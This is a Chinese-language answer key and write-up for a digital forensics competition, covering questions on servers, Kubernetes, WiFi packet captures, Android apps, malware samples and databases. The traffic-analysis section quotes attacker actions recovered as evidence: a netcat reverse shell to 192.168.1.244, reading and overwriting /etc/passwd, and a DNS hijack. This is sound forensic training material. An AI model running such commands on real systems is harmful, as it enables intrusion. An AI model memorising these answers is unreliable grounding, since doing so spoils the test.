2025第二届“数证杯”初赛完整题解
参考答案： FC9A34
解析思路：考虑到一旦仿真起镜像，日志就会写入，导致磁盘哈希发生变化，因此我要考虑全程只读，不落盘的方式算出SHA256，这里给出在服务器中手搓的方式，以centos7为例子，这里我使用的是我自己准备的centos7环境。
1.安装工具：yum install -y libewf-tools pv
2.只读映射 E01 镜像：ewfmount /opt/服务器检材02.E01 /mnt/ewf/ （挂载后会出现/mnt/ewf/ewf1，这个就是原始磁盘的线性只读块设备）
3.整盘 SHA256：pv -B 64m /mnt/ewf/ewf1 | sha256sum
参考答案： 2
解析思路：找到master，输入命令kubectl get nodes即可。
参考答案： 09:35:59
解析思路：在 CentOS 7 系统中，可以通过查看 /var/log/secure 日志文件来确定修改 root 密码的时间。
打开终端，输入命令 sudo grep -i "password changed" /var/log/secure。
如果系统曾修改过 root 密码，该命令是可以过滤出结果的。
参考答案： 04月08日
解析思路：输入命令直接查看所有与docker相关的包的安装时间。
rpm -qa | grep docker | xargs rpm -qi | grep -E "Name|Install Date"
参考答案： 4780
解析思路：查看systemd里有没有docker守护进程实际配置的代理端口。
systemctl show --property=Environment docker。
参考答案： 30627
解析思路：首先可以判断，该集群为K8S环境，因此要去找mysql服务，输入K8S命令去查看mysql端口映射。
kubectl get svc -A | grep mysql。
参考答案： webdevops/php-nginx
解析思路：通过kubectl get pods检查pods没有发现类似发卡网站部署的服务，所以去看docker中的镜像，输入docker images，发现webdevops/php-nginx，该服务同时带了PHP-FPM和Nginx，是跑开源PHP站点的标配程序。
参考答案： 8fadf5
解析思路：由于之前通过kubectl get pods找mysql服务时，发现一个名叫captcha-bot的程序，这是一个机器人程序，我们直接查这个程序的容器id即可，要注意一定要写6位，笔者写答案的时候漏了1位。
kubectl get pod captcha-bot-6b4d85b765-25xq6 -n default -o jsonpath='{.status.containerStatuses[0].containerID}' | sed 's/docker:\///'
参考答案： redis
解析思路：通过kubectl get pods可以看到缓存数据库使用的只有redis，后续在源码中的.env文件中也可以判断缓存数据库使用的是redis。
参考答案：
/data/k8s_data/default/dujiaoka.tar
解析思路：使用kubectl get pvc列出集群中所有的持久卷，然后列出我们所需要的dujiaoka的详细信息，可以看到其存储源详情中的NFS路径为/data/k8s_data/default/dujiaoka.tar。
参考答案： kk.xilika.cc
解析思路：根据上题一样的思路，找到群管机器人运行所在的物理目录，进入到其中查看config文件夹中的配置文件，其目录同样在/data/k8s_data/default下，查看/data/k8s_data/default/captchaBot/config/config.toml即可。
参考答案： 西门庆交流群
解析思路：通过分析dujiaoka配置文件中的.env文件，可以得知数据库连接的基本信息，查看集群中的deployment，发现mysql80运行正常，我们直接用navicat连接，发现TG中的群聊机器人的数据库也在其中，分析可知群聊名称为西门庆交流群。
参考答案： 2422
解析思路：判断表中各个表头的意思，写个sql查询即可。
参考答案： 4V8XNK8Q02MD5D2R
解析思路：使用mysqlbinlog恢复binlog文件，恢复完成后，使用记事本打开，全局搜索delete from，找到orders表即可。
参考答案： 295202
解析思路：用navicat对着orders表写sql语句计算即可，正好表中也没有被删除的数据。
参考答案： /admin
解析思路：网站配置文件中，有记录后台登录地址。
参考答案： lAID2ktDeRlGbcg=
解析思路：密码是通过Bcrypt加密的（加密的逻辑在Authenticatable里面），但是出题人加了一个自定义的盐，所以不是原版的Bcrypt。计算出的原始十六进制salt是940203da4b437919466dc8。Base64编码后的salt值是lAID2ktDeRlGbcg=。
参考答案： ituzz@qq.com
解析思路：使用rdbtools解析/data/k8s_data/default/redis中的dump.rdb文件即可，里面的内容比较复杂，可以丢给ai处理一下，难点就是你得想到redis中也存储了数据才行。
参考答案： 2.0.5
解析思路：把源码添加到vscode中，搜索version就可以了。
参考答案： 6213151597
解析思路：思路同18题。
参考答案： laozhaoWIFI
解析思路：本题考查对协议层的理解，首先进行协议分级，确定流量包的主要内容为IPV4流量，无限流量以及data数据，题目问及目标路由器的SSID，因此选择过滤wlan.fc.type_subtype == 0x05或wlan.fc.type_subtype == 0x08；
过滤后发现SSID如下：分别为don’t panic、TP-LINK_5305、TPGuest_5305、Huawei NovaX、laozhaoWIFI；
现在需要确定哪一个是被攻击的目标服务器，当进行路由器连接操作时，会发送Association Request，其中就包含目标SSID，此时选择过滤wlan.fc.type_subtype == 0x00，得到答案。
参考答案： 4
解析思路：本题主要对WPA完整的4次握手熟悉程度，分别对应4个EAPOL数据包，通过分析工具可以得到答案。
参考答案： password1110
解析思路：本题主要考查通过流量包分析其中的 WPA 握手包与后续 HTTP 登录行为的能力。在流量包中，首先通过分析 EAPOL 协议确认了 4 组完整的 WPA 四次握手，表明攻击者已成功捕获可用于暴力破解的握手数据；接着，通过 过滤http的post条目发现攻击者向路由器管理界面 /cgi-bin/luci/ 发送了 luci_username=root&luci_password=123456 的 POST 请求，并收到 HTTP 200 响应，确认登录成功；进一步分析响应内容，在路由器配置 JSON 中提取到关键字段 "key": "password1110"，即 WiFi 的预共享密钥；最终结合题目“密码由小写英文字母和数字组成”的提示，验证 password1110 完全符合格式要求，从而锁定破解结果。
参考答案： ImmortalWrt
解析思路：通过分析流量包，发现攻击者使用 luci_username 和 luci_password 参数向 /cgi-bin/luci/ 发起登录请求并成功返回 200 响应，该特征为 ImmortalWrt 路由器的唯一标识。虽有其他 HTTP 服务头出现，但属钓鱼流量，不影响核心判断，因此确认路由器操作系统为 ImmortalWrt。
参考答案： password
解析思路：通过分析流量包，发现攻击者向 /cgi-bin/luci/ 发送包含 luci_password=password 的 POST 请求，并成功返回 200 响应，确认密码正确。该密码即为路由器后台爆破成功的最终凭证。
参考答案： www.qq.com
解析思路：攻击者登录路由器后台后，通过修改 dnsmasq 配置，将www.qq.com的DNS解析指向自身IP（192.168.1.244），实现域名劫持。该配置在路由器的 HTTP 响应配置数据中address=/www.qq.com/192.168.1.244 明文暴露。结合此前攻击者访问该 IP 并返回钓鱼页面的行为，确认被劫持域名为www.qq.com。
参考答案： mast
解析思路：攻击者在成功获取路由器后台权限后，使用 FTP 协议登录设备。在帧号 173789 中，捕获到一条FTP PASS命令，其参数为明文密码mast。该密码即为路由器FTP服务的登录凭证，攻击者通过此密码上传文件并进一步渗透。由于FTP传输未加密，密码直接暴露在流量中，无需额外破解，直接可得。
参考答案： code:123456789
解析思路：用FTP-DATA过滤上传压缩包的流量包条目，发现有两条上传flag.zip的记录，通过追踪TCP流，将16进制转储成RAW格式，以.zip格式保存至本地，通过暴力破解得到文本内容为 “code:123456789”。
参考答案： 4445
解析思路：攻击者在路由器上执行了 nc 192.168.1.244 4444 -e /bin/sh 命令，主动建立反向 Shell 连接，流量显示路由器向攻击者 IP 192.168.1.244 的 4444 端口发起 TCP 连接。该端口即为攻击者监听反弹 Shell 的端口，证据明确，无需推测。
参考答案： 4
解析思路：在分析该流量包时，我们首先确认攻击者已通过FTP上传并执行了反弹Shell脚本（nc 192.168.1.244 4444 -e /bin/sh），成功建立反向连接。该连接使用 TCP 流 472，是攻击者与被控路由器之间交互的唯一通道。我们使用get_detail_with_tcp_stream工具提取该 TCP 流的完整数据，逐行解析攻击者在Shell中输入的命令。经过细致筛查，攻击者通过反弹Shell控制路由器后，在流量中清晰记录了 4 条执行命令：cd /tmp、ls -la、cat /etc/passwd、echo "root:123456" > /etc/passwd，均为明文输入，无冗余或误判，因此共执行 4 条命令。
参考答案： 3.0.12
解析思路：使用Jadx查看AndroidManifest.xml可知。
参考答案： currentTimeMillis
解析思路：使用frida-dexdump对APK进行脱壳，查看TimeFetcher类代码可知。
参考答案： 4.56.23
解析思路：getVer()函数是静态函数，直接使用frida主动调用可以得到结果。
参考答案：
http://localhost:60723/K0pQvBZ38ykL26OzfshqYTHC2f7RUJYIgrmIF6
GcORU=?hash=983f8a605d16530190c09b0884d7cef1&ver=4.56.23&ts=1727899789%0A
解析思路：本题主要逻辑在HttpRequestHandler内部类中，使用frida取到四个参数的值拼接成完整HTTP链接即可，注意第四个参数MainActivity.ts最后有一个0a换行符（frida打印到终端是不可见的）。
参考答案： 84572399
解析思路：本题是给定条件的字符串Hash爆破，已知授权码是八位纯数字，编写代码穷举爆破即可。
参考答案： proxy
解析思路：恶意程序的可执行文件为v2ray.exe，位于proxy目录下。
参考答案： 1Njc2NTQ2Mzc0NTc
解析思路：用IDA分析v2ray.exe，直接查看main函数，跟踪分析发现解密RnRGaWxlcy5lZGIiL文件的逻辑，使用的RC4算法，密钥为固定的字符数组。
参考答案： 0x180002730
解析思路：使用RC4算法结合密钥解密RnRGaWxlcy5lZGIiL文件，可知原文件是一个dll文件。在使用IDA查看DLL入口可知。
参考答案： cgDSb6VOegeF7EuW （ASCII格式）
解析思路：用IDA分析解密后的dll文件，可以发现用于加密生产.1文件的函数sub_180001E50，找到AES算法的加密密钥。
参考答案： 9C226D（此题争议较大，欢迎后台留言赐教，共析疑义）
参考答案： 19044
解析思路：使用分析软件查看系统信息。
参考答案： 68
解析思路：使用分析软件查看系统信息。
参考答案： A9C708
解析思路：使用仿真软件查看用户的NTLM哈希值。
参考答案： 9C-B6-D0-04-C9-CC
解析思路：使用分析软件查看网络配置信息。
参考答案： 09C4
解析思路：使用分析软件查看USB设备痕迹。
参考答案： 39528415
解析思路：使用X-Ways软件查看扇区信息。
参考答案： 资料1.txt
分析：加密分区为D盘，查看D盘最后修改的文件为“资料1.txt”。
参考答案： 连接阿里云
参考答案： 10月07日
参考答案：
3HrdpWM8ZrBVw9yu8jx1RoNNK6BZxwsHd9
参考答案： SHUZHENGBEIctzy2025
参考答案： 小胖
参考答案： 交通银行
参考答案： 21
参考答案： 625075-617309-532576-720302-040975-309232-451924-426679
参考答案： 216597576
在foxmail邮箱中发现分卷压缩但不全的文件。
使用分析软件搜索关键词“软件”得到剩下的part4、part5,全部导出并用密码解压得到Decrypttool.exe文件，使用软件解密图片得到门锁密码216597576。
参考答案： 3A892E
参考答案： 4
参考答案： wins.exe
参考答案： edu-image.nosdn.127.net
参考答案： 10月16日
参考答案： 1002
参考答案： i7-1165G7
参考答案： 5888
参考答案： SunloginClient.exe
参考答案： print
解析思路：使用分析软件查看系统信息。
参考答案： /var/spool/cups
解析思路：查看打印机配置文件找到存储路径为/var/spool/cups。
参考答案： alice
解析思路：查看cups日志page_log找到两次打印记录为alice。
参考答案： 2177
解析思路：可疑木马为cups-helper里面记录了C2的服务器配置，查看系统日志找到该文件对应的进程信息。
参考答案： 10
解析思路：根据上述题目的cups-helper在系统中的定时任务配置目录里进行搜索，找到对应的定时任务配置文件。
参考答案： /tmp/.cache/
解析思路：脚本里是部分伪代码主要看它注释。GJTJlh2YhNmLGJTJw1GdGJT逆序后是JTJGdG1wJTJGLmNhY2hlJTJG，对其进行解码后是%2Ftmp%2F.cache%2F， URL解码后是/tmp/.cache/。
参考答案： 185.199.108.153
解析思路：查看木马上传文件的记录日志信息，里面包含了服务器的IP地址。
参考答案： Project Dragonfire
解析思路：找配置文件中到混淆字段加Base64的加密关键字段，编写脚本对其进行解密，得到关键字为Project Dragonfire。同时该字段与上述题目中的上传文件里的字段内容Project Dragonfire也能对应上。
参考答案： 8390
解析思路：使用响尾雀第三方数据源导入，选择加载镜像文件方式导入。
参考答案： 09月24日
解析思路：将检材带入响尾雀分析，查看应用列表可得出。
参考答案： 3FE61F
解析思路：将检材导入响尾雀分析，查看区块链应用可得出。
参考答案： 85A51D
解析思路：正常找到DCIM文件夹查看关于“南昌西站”图片计算MD5。
参考答案： boost
解析思路：打开该图片发现可以正常打开，有内容能显示，大概率是图片的宽高被人为修改，重新计算 IHDR CRC，恢复图片高度。
参考答案： delay
解析思路：在将检材带入响尾雀后全局搜索关键词，可得出。
参考答案： quarter
解析思路：解压后文件夹导入X-ways直接全局搜索可得。
参考答案： segment
解析思路：通过上述题目得出下列三组区块链助记词{1、movie unlock boost segment 2、foil delay paddle obtain 3、student electric quarter clerk }及ETH地址。编写脚本暴力尝试，将结果带入TP钱包软件进行验证。
参考答案： 刘佳雨
解析思路：将检材带入响尾雀分析，直接查看QQ数据。
参考答案： dingtong.saichuang
解析思路：查看已安装应用列表，除了微信和qq外还有几个可疑应用包名最后百度查一下确定为dingtong.saichuang，再进数据库再次确认。
参考答案： @1@#!aajsk1*JKJ
解析思路：文件夹发现其数据库dingtong.db文件，使用JADX打开后直接搜索dingtong.db直接得出数据库密码在使用DB Browser for SQLite选择sqlcipher3默认进行验证确定。
参考答案： QWERT666
解析思路：通过查看聊天数据发现其密码，发现其已加密，看上去是摩斯，解密得到QWERT666（important2.xlsx没找对应文件不太好验证大小写）。
参考答案： 722
解析思路：关键词搜索得出文件（身份证_f33.mxt），文件后缀名异常查看文件头发现其为压缩文件，改后缀可以正常开打，尝试六位数字密码爆破失败，使用X-ways全局暴力搜索（身份证_f33.mxt）进入（data\com.android.mxt\databases\mxt.db）路径进程查看其db文件得到密码。
参考答案： 275234
解析思路：关键词搜索得出文件，发现文件加密，在做上题查看数据库时已发现其密码进入（data\com.android.mxt\databases\mxt.db）路径进程查看其db文件得到密码（3;s=]-）。
参考答案： 1596
解析思路：分析应用APK文件，在LockActivity处发现启动密码的比较逻辑，使用frida进行hook可以得到结果。
参考答案： 2299
解析思路：根据题意写sql语句即可。
参考答案： 92842
解析思路：根据题意写sql语句即可。
参考答案： 500单
解析思路：根据题意写sql语句即可。
参考答案： 44.88%
解析思路：根据题意写sql语句即可。
参考答案： 福州
解析思路：根据题意写sql语句即可。
参考答案： 13107/4590/2058/222
解析思路：根据题意写sql语句即可。
参考答案：
325806042.91/344804883.98/352132431.37
解析思路：根据题意写sql语句即可。
参考答案： 460017709683511
解析思路：编写脚本示例如下：
参考答案： A675
解析思路：编写脚本示例如下：
参考答案： 350203103
解析思路：编写脚本示例如下：
参考答案： 4
解析思路：编写脚本示例如下：
参考答案： 4
解析思路：编写脚本示例如下：